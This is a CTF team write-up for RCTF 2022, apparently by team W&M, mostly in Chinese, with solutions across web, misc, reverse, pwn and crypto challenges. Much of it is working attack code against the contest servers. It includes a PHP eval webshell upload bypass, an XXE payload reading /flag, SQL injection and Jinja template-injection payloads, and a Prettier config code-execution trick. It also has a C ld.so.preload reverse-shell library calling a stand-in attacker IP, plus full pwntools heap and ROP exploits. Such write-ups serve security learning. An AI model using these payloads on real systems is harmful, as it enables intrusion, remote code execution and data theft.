RCTF 2022 By W&M
WEB
easy_upload
看libmbfl里面的打分标准,/打分打的多,所以多用/,让一句话被认为是BASE64
a.pHp
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////pHpH<?=eval($_POST[1]);?>
Ezbypass
import base64
data2 = '''<?xml version="1.0" encoding="utf-16be"?>'''
data1 = '''<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///flag"> ]>
<creds>&goodies;</creds>'''
print(base64.b64encode(data2.encode("utf-8") + data1.encode('utf-16be')))
curl --location --request POST 'http://94.74.86.95:8899/index;.ico' \
--header 'Token: eyJBbGliYW5hbmEiOiJYRmxDb21lVG9OQ1RGMjAyMiJ9.1.0' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'poc=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTE2YmUiPz4APAAhAEQATwBDAFQAWQBQAEUAIABjAHIAZQBkAHMAIABbACAAIAAKADwAIQBFAE4AVABJAFQAWQAgAGcAbwBvAGQAaQBlAHMAIABTAFkAUwBUAEUATQAgACIAZgBpAGwAZQA6AC8ALwAvAGYAbABhAGcAIgA+ACAAXQA+ACAACgA8AGMAcgBlAGQAcwA+ACYAZwBvAG8AZABpAGUAcwA7ADwALwBjAHIAZQBkAHMAPg==' \
--data-urlencode 'type=strin' \
--data-urlencode 'yourclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream' \
--data-urlencode 'password=${@java.lang.Character@toString(39)})||1=1 -- a'
![image-20221213170716428](/Users/ha1c9on/Library/Application Support/typora-user-images/image-20221213170716428.png)
filechecker_mini
POST / HTTP/1.1
Host: 159.138.107.47:13003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://159.138.107.47:13003/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------194331547517225
Content-Length: 283
-----------------------------194331547517225
Content-Disposition: form-data; name="file-upload"; filename="phar.png"
Content-Type: image/png
����c{{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}
-----------------------------194331547517225--
gzip控制一个文件名file会返回
ssti
PrettierOnline
https://github.com/prettier/prettier/blob/main/src/config/resolve-config.js#L84
parser: ".prettierrc"
a: /*
# */ ;module.exports = () => ({"type":"File","program":{"type":"Program","body":[],"directives":[{"type":"Directive","value":{"type":"DirectiveLiteral","extra":{"raw":JSON.stringify(module.constructor._load('child_process').execSync('/readflag').toString())}}}]}});
filechecker_plus
条件竞争覆盖模板,要求模板从来没有被加载过,否则模板被缓存 覆盖没用(条件竞争失败是不会加载模板的,因为os.remove(filepath) 模板不存在所以没法加载)
from io import StringIO
import sys
import os
import requests
from config import server
def loop():
try:
rs = requests.Session()
rs.post(server + "/",
files={
"file-upload":("/app/templates/index.html",StringIO('test{{lipsum . __globals__.__getitem__("os").popen("cat /flag").read()}}'),"image/jpeg")
},proxies=rs.proxies)
except requests.RequestException as e:
pass
raise
return False
def main():
print("this is upload")
while 1:
loop()
if __name__ == "__main__":
main()
from io import StringIO
import sys
import os
import requests
from config import server
def loop():
try:
rs = requests.Session()
resp = rs.get(server + "/")
if "test" in resp.text:
print(resp.text)
return True
except requests.RequestException as e:
pass
raise
return False
def main():
print("this is getflag")
while 1:
if loop():
break
if __name__ == "__main__":
main()
RCTF{III_W4nt_Gir1Friendssssss_Thi5_Christm4ssss~~~~}
filechecker_pro_max
条件竞争+覆盖/etc/ld.so.preload
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
// gcc ld_preload_1.c -fPIC -shared -o ld_preload_1.so
char *server_ip="114.514.1919.810";
uint32_t server_port=9999;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//remove the file /ld.so.preload
remove("/etc/ld.so.preload");
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
//shell会被timeout 1
//execve("/bin/sh", 0, 0);
system("cat /flag");
}
from io import StringIO
import sys
import os
import requests
from config import server
def loop():
try:
rs = requests.Session()
rs.post(server + "/",
files={
"file-upload":("/etc/ld.so.preload",StringIO('/tmp/a.so'),"image/jpeg")
},proxies=rs.proxies)
except requests.RequestException as e:
pass
raise
return False
def main():
print("this is upload ld.so.preload")
while 1:
loop()
if __name__ == "__main__":
main()
from io import StringIO,BytesIO
import sys
import os
import requests
from config import server
exp = open("ld_preload_1.so","rb").read()
def loop():
try:
rs = requests.Session()
rs.post(server + "/",
files={
"file-upload":("/tmp/a.so",BytesIO(exp),"image/jpeg")
},proxies=rs.proxies)
except requests.RequestException as e:
pass
raise
return False
def main():
print("this is upload a.so")
while 1:
loop()
if __name__ == "__main__":
main()
RCTF{I_Giveeeeeee_Y0oOu_Fl4gsssss_You_G1ve_M3_GirlFriendsssssssssss}
EZRUOYI
![image-20221213170736273](/Users/ha1c9on/Library/Application Support/typora-user-images/image-20221213170736273.png)
filterkeyword只检测select空格。/**/绕过
http://140.210.213.129:8899/tool/gen/createTable
sql=create table aab as select/**/updatexml(0x7e,(select/**/flag from flag),0x7e);
缺一位。爆破一下。
MISC
checkin
签到题,复制粘贴
ez_alient
alien.bmp直接文件尾有压缩包密码,然后解压是个exe,是个飞机大战的游戏,一眼顶针是pyexe
直接pyinstxtractor.py解包
然后补一下pyc的文件头
在alien_invasion.pyc解包可以看见一个s = ""
猜测其他的import包也有,逐一提取补文件头和解包获得大概这些
逐一base64解密两次,然后拼接获得flag
ez_pvz
经典pvz,ce直接干,第一关改阳光,直接搜就行
第二关搜阳光搜不到,先搜不确定,然后中个向日葵啥的再搜减少了多少就行了
第三关超长冷却,直接等着冷却满了搜几次未变的值,中一下搜一下变动的值,基本就行了
最后通关了获得flag
经典人眼ocr
ezhook
function main() {
Java.perform(function () {
var File = Java.use('java.io.File');
var FileInputStream = Java.use('java.io.FileInputStream');
var ByteArrayOutputStream = Java.use('java.io.ByteArrayOutputStream');
var file = File.$new('/app/FlagServer.class');
var file_length = parseInt(file.length());
var file_input_stream = FileInputStream.$new(file);
var result = "";
for (var i = 0; i < file.length(); i++) {
const b = file_input_stream.read();
result += (b).toString(16).padStart(2, '0');
}
for (var i = 0; i < 100; i++) {
console.log(result);
}
});
}
setImmediate(main)
cyberchef解密获得flag
K999
7zip打开exe 有各种lua
- main.lua里 有flag
if world.KillenemyCount >= 999 then
love.graphics.push('all')
love.graphics.setColor(255, 255, 0, 255)
local flag1 = "MOON\r\n"
local flag2 = "157 89 215 46 13 189 237 23 241\r\n"
local flag3 = "49 84 146 248 150 138 183 119 52\r\n"
local flag4 = "34 174 146 132 225 192 5 220 221\r\n"
local flag5 = "176 184 218 19 87 249 122\r\n"
local flag6 = "Find a Decrypt!\r\n"
love.graphics.print(flag1, love.graphics.getWidth() / 2, love.graphics.getHeight() / 2, 0, 2, 2, 37, 7)
love.graphics.print(flag2, love.graphics.getWidth() / 2, love.graphics.getHeight() / 2 + 20, 0, 2, 2, 37, 7)
love.graphics.print(flag3, love.graphics.getWidth() / 2, love.graphics.getHeight() / 2 + 40, 0, 2, 2, 37, 7)
love.graphics.print(flag4, love.graphics.getWidth() / 2, love.graphics.getHeight() / 2 + 60, 0, 2, 2, 37, 7)
love.graphics.print(flag5, love.graphics.getWidth() / 2, love.graphics.getHeight() / 2 + 80, 0, 2, 2, 37, 7)
love.graphics.print(flag6, love.graphics.getWidth() / 2, love.graphics.getHeight() / 2 + 100, 0, 2, 2, 37, 7)
love.graphics.pop()
getflag = true
- flag.lua里 有加密算法 补全一下key和flag直接调用就行
function Decrypt()
local key = "MOON"
local s = {157,89,215,46,13,189,237,23,241,49,84,146,248,150,138,183,119,52,34,174,146,132,225,192,5,220,221,176,184,218,19,87,249,122}
flag = ""
for i = 1, #s, 1 do
flag = flag .. string.char(s[i])
end
flag = strDecrypt(flag, key)
print(flag)
end
Decrypt()
-- RCTF{1_Rea11y_Want_t0_Y0ur_H0use}
Reverse
CheckYourKey
java层没什么信息就是调用natvie层的xxoo函数进行验证加密
加密首先经过一个算数加密然后应该是换表base,既然没血了,我先吃个饭再做)
然而调起来发现跑不过去??于是再翻数据找到真正的加密函数在sub_8965
AES + BASE58 + BASE64
cyber的分组解密日常有问题,所以把base解密后的数据用python写了
from Crypto.Cipher import AES
password = b'goodlucksmartman'
text = b'\x49\x67\xeb\x32\x9d\x05\x61\xda\xdb\x07\xd7\x5a\xb9\x01\xb2\x46'
aes = AES.new(password,AES.MODE_ECB)
den_text = aes.decrypt(text)
print(den_text)
flag{rtyhgf!@#$}
WEB_RUN
You need to generate a specific string through me at a specific time. The time format is “2022/12/10 14:00”. But you need to find out which time it is. Hint: At this time, I know a girl I like. Fixed the bug caused by uninitialized variables. flag format is RCTF{ca_value}
我宣布这是我见过最浪漫的题
日期通过搜索找到了 2022/11/11 00:54
JEB打开可以发现
F10函数找到比对时间,随后根据时间出来一对固定的序列值,然而这个时间在F10里如果是相等就直接退出了
于是尝试如何绕过这个判断,直接改机器码即可,方法很多
改判断时的!=与==或直接修改压入的时间(出题人太浪漫了不舍得呜呜呜)nop exit函数都可以
修改完后SHIFT + F5刷新页面,输入两次时间后,进入到比对的函数,直接查看内存即可
CHERKSERVER
程序起了个服务端,本地8080端口即可访问,随后是发authcookie过去验证,加密算法是chacha20不过对密钥有些特殊操作
import struct
def yield_chacha20_xor_stream(key, iv, position=0):
"""Generate the xor stream with the ChaCha20 cipher."""
if not isinstance(position, int):
raise TypeError
if position & ~0xffffffff:
raise ValueError('Position is not uint32.')
if not isinstance(key, bytes):
raise TypeError
if not isinstance(iv, bytes):
raise TypeError
if len(key) != 32:
raise ValueError
if len(iv) != 8:
raise ValueError
def rotate(v, c):
return ((v << c) & 0xffffffff) | v >> (32 - c)
def quarter_round(x, a, b, c, d):
x[a] = (x[a] + x[b]) & 0xffffffff
x[d] = rotate(x[d] ^ x[a], 16)
x[c] = (x[c] + x[d]) & 0xffffffff
x[b] = rotate(x[b] ^ x[c], 12)
x[a] = (x[a] + x[b]) & 0xffffffff
x[d] = rotate(x[d] ^ x[a], 8)
x[c] = (x[c] + x[d]) & 0xffffffff
x[b] = rotate(x[b] ^ x[c], 7)
ctx = [0] * 16
# ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
ctx[:4] = (0x64316562, 0x64326466, 0x38333363, 0x39363138) # be1dfd2dc3388169
ctx[4: 12] = struct.unpack('<8L', key)
ctx[12] = ctx[13] = position
ctx[14: 16] = struct.unpack('<LL', iv)
while 1:
x = list(ctx)
for i in range(10):
quarter_round(x, 0, 4, 8, 12)
quarter_round(x, 1, 5, 9, 13)
quarter_round(x, 2, 6, 10, 14)
quarter_round(x, 3, 7, 11, 15)
quarter_round(x, 0, 5, 10, 15)
quarter_round(x, 1, 6, 11, 12)
quarter_round(x, 2, 7, 8, 13)
quarter_round(x, 3, 4, 9, 14)
for c in struct.pack('<16L', *(
(x[i] + ctx[i]) & 0xffffffff for i in range(16))):
yield c
ctx[12] = (ctx[12] + 1) & 0xffffffff
if ctx[12] == 0:
ctx[13] = (ctx[13] + 1) & 0xffffffff
def chacha20_encrypt(data, key, iv=None, position=0):
"""Encrypt (or decrypt) with the ChaCha20 cipher."""
if not isinstance(data, bytes):
raise TypeError
if iv is None:
iv = b'\0' * 8
if isinstance(key, bytes):
if not key:
raise ValueError('Key is empty.')
if len(key) < 32:
# TODO(pts): Do key derivation with PBKDF2 or something similar.
key = (key * (32 // len(key) + 1))[:32]
if len(key) > 32:
raise ValueError('Key too long.')
return bytes(a ^ b for a, b in
zip(data, yield_chacha20_xor_stream(key, iv, position)))
if __name__ == "__main__":
enc = bytes.fromhex('E6F7749F05AB1A50BF28B6E6A49E7F0D22AC7660FDA6905E91B476A38D438835F4E0376A')
keybuffer = []
for i in range(32):
keybuffer.append(i + 0x11)
key = bytes(keybuffer)
iv = bytes.fromhex('0000000000000000')
print(chacha20_encrypt(enc, key, iv))
flag{1b90d90564a58e667319451d1cb6ef}
RTTT
RUST我不好说,通过不断调试发现只是乱序加个异或,然而异或的数据我也不太确定,直接构造明文密文得到异或值和乱序表
enc = [ 0x34, 0xC2, 0x65, 0x2D, 0xDA, 0xC6, 0xB1, 0xAD, 0x47, 0xBA,
0x06, 0xA9, 0x3B, 0xC1, 0xCC, 0xD7, 0xF1, 0x29, 0x24, 0x39,
0x2A, 0xC0, 0x15, 0x02, 0x7E, 0x10, 0x66, 0x7B, 0x5E, 0xEA,
0x5E, 0xD0, 0x59, 0x46, 0xE1, 0xD6, 0x6E, 0x5E, 0xB2, 0x46,
0x6B, 0x31]
ord_input = [ 0x43, 0xC4, 0x14, 0x5A, 0xD7, 0xC1, 0xB5, 0xAA, 0x59, 0xD9,
0x1A, 0xA8, 0x3F, 0xDB, 0xD4, 0x9D, 0xF0, 0x28, 0x20, 0x4A,
0x58, 0xC6, 0x67, 0x75, 0x08, 0x62, 0x6A, 0x0A, 0x10, 0xED,
0x5A, 0xD5, 0x5A, 0x21, 0xE5, 0xA6, 0x1F, 0x5A, 0xC7, 0x31,
0x1F, 0x43]
ord_enc_input = [ 0x34, 0x31, 0x35, 0x33, 0x34, 0x36, 0x32, 0x32, 0x33, 0x31,
0x31, 0x36, 0x36, 0x37, 0x35, 0x37, 0x32, 0x32, 0x36, 0x37,
0x37, 0x36, 0x31, 0x35, 0x33, 0x34, 0x35, 0x32, 0x35, 0x36,
0x33, 0x32, 0x35, 0x33, 0x33, 0x34, 0x37, 0x37, 0x31, 0x34,
0x31, 0x34]
for i in range(len(enc)):
print(chr(enc[i] ^ ord_input[i] ^ ord_enc_input[i]), end = "")
print()
for i in range(42):
print(chr(65 + i), end = "")
enc = [ 0x59, 0x64, 0x5A, 0x66, 0x4B, 0x62, 0x57, 0x5E, 0x58, 0x41,
0x5D, 0x5B, 0x54, 0x4E, 0x53, 0x6A, 0x49, 0x50, 0x4D, 0x63,
0x5C, 0x46, 0x48, 0x4C, 0x4A, 0x44, 0x61, 0x42, 0x45, 0x69,
0x51, 0x65, 0x68, 0x43, 0x5F, 0x67, 0x55, 0x47, 0x56, 0x60,
0x4F, 0x52]
input = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij"
for i in range(42):
print(enc.index(input[i]), end = ", ")
index = [9, 27, 33, 25, 28, 21, 37, 22, 16, 24, 4, 23, 18, 13, 40, 17, 30, 41, 14, 12, 36, 38, 6, 8, 0, 2, 11, 20, 10, 7, 34, 39, 26, 5, 19, 1, 31, 3, 35, 32, 29, 15]
enc = "C7DD9165-R-72--}332DE0CBEF9C{1776T7DF3DCEF"
for i in range(42):
print(enc[index[i]], end = "")
RCTF{03C3E9B2-E37F-2FD6-CD7E-57C91D77DD61}
PWN
Game
mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/umount && /BIN/chmod 777 /bin/umount && exit
ez_atm
利用 stat_query 可以泄露 libc_base 和 heap_base,利用 cancellation 造成的 UAF 来构造 tcache->next
为 __free_hook
,之后 cat flag>&4
即可
from pwn import *
import time
context.arch = "amd64"
context.log_level = "debug"
def msg_send(op, account_id="", password="", money=0):
data = flat(
{
0x0: op,
0x10: password,
0x18: account_id,
0x38: p32(money),
},
filler='\x00'
).ljust(0x98, '\x00')
sh.send(data)
time.sleep(0.5)
def init():
from ctypes import cdll
clibc = cdll.LoadLibrary('libc.so.6')
def getrand():
return clibc.rand() % 15
ask_time = u32(sh.recv(4))
clibc.srand(ask_time)
uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
for i in range(len(uuid)):
if uuid[i] != '4' and uuid[i] != '-':
if uuid[i] == 'x':
uuid[i] = hex(getrand())[2:]
else:
uuid[i] = hex(getrand() & 3 | 8)[2:]
uuid = ''.join(uuid)
sh.send(uuid)
#sh = remote('127.0.0.1', 3339)
sh = remote('139.9.242.36', 4445)
init()
msg_send("stat_query")
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x21c87
log.success("libc_base:\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f420
msg_send("new_account", "wjh", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("new_account", "wjh2", "password", 0xdeadbeef)
msg_send("cancellation", "wjh2", "password")
msg_send("login", "wjh", "password")
msg_send("query")
sh.recvuntil(p64(0x41) + p64(0))
heap_base = u64(sh.recv(8)) - 0x10
log.success("heap_base:\t" + hex(heap_base))
msg_send("exit_account")
msg_send("new_account", "wjh2", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("login", "wjh2", "password")
msg_send("cancellation", "wjh2", "password")
msg_send("login", "wjh", "password")
msg_send("cancellation", "wjh", "password")
msg_send("login", p64(heap_base + 0x10), p64(heap_base + 0x6b0))
msg_send("update_pwd", "wjh", p64(free_hook_addr - 0x18))
msg_send("update_pwd", "wjh", p64(heap_base + 0x6b0))
msg_send("exit_account")
msg_send("new_account", "test", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("new_account", ">&4\x00".ljust(0x10, '\x00') + p64(system_addr), "cat flag", 0xdeadbeef)
msg_send("cancellation", "", "cat flag")
# msg_send("stat_query")
sh.interactive()
ppuery
利用视图来执行 SQL 语句,操作添加的几个函数
import os
from pwn import *
import sqlite3
context.log_level = "debug"
#sh = process('./ppuery')
sh = remote('190.92.233.46', 10000)
def choice(idx):
sh.sendlineafter("Choice: ", str(idx))
def ppuery_create(name):
choice(1)
sh.sendlineafter("Name: ", name)
def ppuery_show(idx):
choice(2)
sh.sendlineafter("Index: ", str(idx))
def ppuery_patch(idx, content):
choice(3)
sh.sendlineafter("Index: ", str(idx))
sh.sendlineafter("Size: ", str(len(content)))
sh.sendlineafter("Content: ", content)
def execute_sql(sql):
os.remove("wjh")
conn = sqlite3.connect('wjh')
cursor = conn.cursor()
cursor.execute("CREATE VIEW test AS {}".format(sql))
conn.commit()
conn.close()
with open("wjh", "rb") as f:
return f.read()
ppuery_idx = 0
def ppuery_execute(sql):
global ppuery_idx
ppuery_create("a" + str(ppuery_idx))
ppuery_patch(ppuery_idx, execute_sql(sql))
ppuery_show(ppuery_idx)
ppuery_idx += 1
def add(idx, size):
ppuery_execute("SELECT sm({}, {})".format(idx, size))
def edit(idx, offset, content):
ppuery_execute("SELECT se({}, {}, {})".format(idx, offset, content))
def show(idx):
ppuery_execute("SELECT ss({})".format(idx))
def delete(idx):
ppuery_execute("SELECT sd({})".format(idx))
add(0, 0x1F8)
add(1, 0x1F8)
add(2, 0x1F8)
add(3, 0x1F8)
for i in range(7):
delete(0)
edit(0, 0, 0)
edit(0, 8, 0)
delete(0)
delete(1)
delete(2)
add(4, 0xF8)
add(5, 0xF8)
add(6, 0xF8)
for i in range(7):
delete(4)
edit(4, 0, 0)
edit(4, 8, 0)
delete(5)
show(5)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebd90
log.success("libc_base:\t" + hex(libc_base))
#gdb.attach(sh, "b *$rebase(0x00000000000624A0)")
free_hook_addr = libc_base + 0x3ed8e8
malloc_hook_addr = libc_base + 0x3ebc30
system_addr = libc_base + 0x4f420
edit(4, 0, free_hook_addr - 8)
add(7, 0xF8)
add(8, 0xF8)
edit(6, 0, u64("/bin/sh\x00"))
edit(8, 8, system_addr)
delete(6)
sh.interactive()
rserver
逆向得到 0x92C0 处的结构体如下,为了说明方便,在以下将此结构体命名为 p
00000000 node struc ; (sizeof=0xAE8, mappedto_31)
00000000 ; XREF: .bss:p/r
00000000 ip_base dd ?
00000004 mask dd ?
00000008 max_member dd ?
0000000C user_count dd ?
00000010 rnd dq ?
00000018 name dq 336 dup(?) ; offset
00000A98 ip_bits db 80 dup(?)
00000AE8 node ends
程序逻辑
-
p.rnd
赋值为从 urandom 中读取 8 字节随机数据p.user_count = 0;
;循环 0 -> 31,执行p.ip_bits[i] = 0xFF
;使用10.12.31.0/24
初始化p.ip_base p.mask p.max_member
(ip_bits
数组类似于用 1 个 bit 来储存 ip 是否登录的信息,1 代表未登录,0 代表已登录) -
设置沙箱,只允许
openat
、read
、write
、close
、exit
、newfstatat
-
循环从 stdin 中读入 HTTP 报文,并执行以下操作
- 读入头中的 Host,并使用
inet_addr
和htonl
将其转换为四字节数值 - GET login.html
- 要求传入 GET 参数 UserName,并且 Host 没有登录(对应 bit 为 1 )
- 前 8 个字节会放置到使用
calloc
申请的 0x10 的堆块中,并放置到空的p.name[i]
中,i 的范围在[0, 0x75]
中 p.user_count += 1
- 计算
idx = ip_number - (p.mask & p.ip_base);
,如果idx < p.max_member
则设置p.ip_bits[(int)((unsigned __int64)idx >> 3)] &= ~(1 << (idx & 7));
,把对应 bit 设置为 0(表示已登录)
- POST logout.html
- 要求 POST 传入 8 字节数据与
p.rnd
相同,并且 Host 已经登录(对应 bit 为 0) - 计算
idx = ip_number - (p.mask & p.ip_base);
,如果idx < p.max_member
则设置p.ip_bits[(int)((unsigned __int64)idx >> 3)] |= 1 << (idx & 7);
,把对应 bit 设置为 1(表示未登录)
- 要求 POST 传入 8 字节数据与
- GET query.html
- 要求 GET 传入 PassWord 加密后与指定数据比对一致(逆向后可得 PassWord 为 1L0V3ctf)
- 如果 Host 已登录则输出
Query Success
,如果未登录则输出Bad Request
- GET history.html
- 要求 GET 传入 PassWord 加密后与指定数据比对一致(逆向后可得 PassWord 为 RCTF2022)
- 循环
i := [0, p.user_count)
从p.name[i]
中把所有用户名都复制到栈(不判定是否登录) - 输出 HTTP 数据
- 读入头中的 Host,并使用
漏洞点
在判定 idx < p.max_member
的时候,构造 idx
为负数绕过判定
-
使用对
p.ip_bits
的设置造成向前越界写(使用 login 功能写 bit 1,使用 logout 功能写 bit 0) -
使用 query 功能可以造成向前越界读,用返回报文判定登录状态(某个位为 0 或者 1),但是效率很低
漏洞利用
-
利用 login 功能向前写 0,把
p.rnd
全部写为 0,开启 logout 功能 -
结合利用 login 功能和 logout 功能写
p.user_count
,并将其设置为负数,绕过循环复制(防止修改到 canary 造成 crash),但是可以泄露大量的数据(输出长度经过 LOWORD 截断,只输出低位两个字节),利用泄露的数据拿到 canary、libc_base、codebase -
利用 logout 功能写 1,把
p.name
中对应位置设置为指针,指向p.name
中的另一块区域,并在另一块数据中构造 ROP 链(因为这一块数据本来都是 0,所以只要用 logout 功能就可以构造任意数据) -
利用 login 功能把
p.user_count
填到最大值 0x76(0111 0110),再利用 logout 功能写成 0x7f(0111 1111) -
利用 history 功能触发栈溢出(把
p.name
中 0x7f (0x7a + 5)个数据复制到栈中,前 0x7a 个数据没有越界,往后是canary、rbp、pop rax、str_flag、orw_gadget
共 5 个),orw_gadget
指的是 HTTP 服务器原本输出本地文件的那一段代码,可以重用来输出 flag 文件 -
flag 的位置可以用路径穿越来探测,如果文件不存在的话显示的是
404 Not Found
,如果文件存在的话,又因为strstr
检测..
的缘故,显示的是500 Internal Server Error
,可以得到 flag 就在和主程序同一个目录下
EXP
from pwn import *
import socket
context.log_level = "debug"
context.arch = "amd64"
sh = process('./rserver')
#sh = remote('139.9.242.36', 7788)
def login(host, username):
# set 0
http = "GET /login.html?UserName={} HTTP/1.1\n".format(username)
http += "Host: {}\n\n".format(host)
sh.send(http)
def query(host):
http = "GET /query.html?PassWord=1L0V3ctf HTTP/1.1\n"
http += "Host: {}\n\n".format(host)
sh.send(http)
def history():
http = "GET /history.html?PassWord=RCTF2022 HTTP/1.1\n"
http += "Host: {}\n\n".format("10.12.31.0")
sh.send(http)
def logout(host):
# set 1
rnd = '\x00' * 8
http = "POST /logout.html HTTP/1.1\n"
http += "Host: {}\n".format(host)
http += "Content-Length: {}\n\n".format(len(rnd))
sh.send(http)
sh.send(rnd)
def write_zero(offset, bit_offset, bit_len):
start = offset * 8 + bit_offset
for i in range(bit_len):
delta = start + i
data = (ip_base & ip_mask) + delta
ip_address = socket.inet_ntoa(p32(data)[::-1])
login(ip_address, "wjh")
def write_one(offset, bit_offset, bit_len):
start = offset * 8 + bit_offset
for i in range(bit_len):
delta = start + i
data = (ip_base & ip_mask) + delta
ip_address = socket.inet_ntoa(p32(data)[::-1])
logout(ip_address)
def write_data(offset, data, breakZero=False):
for i in data:
x = ord(i)
for j in range(8):
value = (x >> (j & 7)) & 1
if value == 0:
if not breakZero:
write_zero(offset, j, 1)
else:
write_one(offset, j, 1)
offset += 1
def recv_all_data():
data = sh.recvrepeat(0.5)
log.success("recv_all_data:\t" + hex(len(data)))
pause(1)
ip_base = u32(socket.inet_aton("10.12.31.0")[::-1])
ip_mask = 0xffffff00
offset_ip_bits = 0xA98
offset_rnd = 0x10
offset_user_count = 0xC
offset_name = 0x18
write_zero(offset_rnd - offset_ip_bits, 0, 8 * 8)
leak_size = 0x408 + 0xe00
calc_user_count = ((leak_size - 7) // 8) - 7
user_count_data = p16(calc_user_count) + p16(0xffff)
write_data(offset_user_count - offset_ip_bits, user_count_data)
history()
sh.recvuntil('\n<HTML>\x00' + 0x3c0 * '\x00')
sh.recv(8)
canary = u64(sh.recv(8))
sh.recv(8)
codebase = u64(sh.recv(8)) - 0x49ba
while True:
leak_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("leak_address:\t" + hex(leak_address))
if leak_address & 0xfff == 0x1c2:
break
libc_base = leak_address - 0x631c2
log.success("canary:\t" + hex(canary))
log.success("codebase:\t" + hex(codebase))
log.success("libc_base:\t" + hex(libc_base))
pop_rax_addr = libc_base + 0x45eb0
orw_gadget = codebase + 0x000000000002302
p_addr = codebase + 0x92C0
pointer_payload = flat([
p_addr + offset_name + 0x600,
p_addr + offset_name + 0x608,
p_addr + offset_name + 0x610, p_addr + offset_name + 0x618,
p_addr + offset_name + 0x620,
p_addr + offset_name + 0x620,
])
attack_payload = flat([
canary,
codebase + 0x00000000000092C0 + 0x900,
pop_rax_addr, p_addr + offset_name + 0x628,
orw_gadget,
"flag"
])
write_data(offset_name - offset_ip_bits + 0x3D0, pointer_payload, True)
write_data(offset_name - offset_ip_bits + 0x600, attack_payload, True)
for i in range(0x20):
data = (ip_base & ip_mask) + i + 0x10
ip_address = socket.inet_ntoa(p32(data)[::-1])
login(ip_address, "wjh")
write_data(offset_user_count - offset_ip_bits, p16(0))
write_data(offset_user_count - offset_ip_bits + 2, p16(0))
write_data(offset_user_count - offset_ip_bits, p16(0x54))
for i in range(0x22):
data = (ip_base & ip_mask) + i + 0x40
ip_address = socket.inet_ntoa(p32(data)[::-1])
login(ip_address, "wjh")
write_data(offset_name - offset_ip_bits + 0x3b0, p64(p_addr + offset_name + 0x600) * 4, True)
# gdb.attach(sh, "b *$rebase(0x000000000000543E)")
write_data(offset_user_count - offset_ip_bits, p16(0x7f), True)
log.success("canary:\t" + hex(canary))
log.success("codebase:\t" + hex(codebase))
log.success("libc_base:\t" + hex(libc_base))
# gdb.attach(sh, "b *$rebase(0x0000000000006569)")
history()
sh.interactive()
Crypto
Guess
整除+1
from pwn import *
def a():
io = remote("190.92.234.114",23334)
try:
environments = io.recvuntil("x =",drop=1)
env = {}
exec(environments,env)
T = env["T"]
U = env["U"]
q = env["q"]
for i in range(len(T)):
t = T[i]
u = U[i]
maybe_x = int(u//t)+1
io.sendline(str(maybe_x))
flag = io.recvline()
print(flag)
except EOFError as e:
pass
finally:
io.close()
a()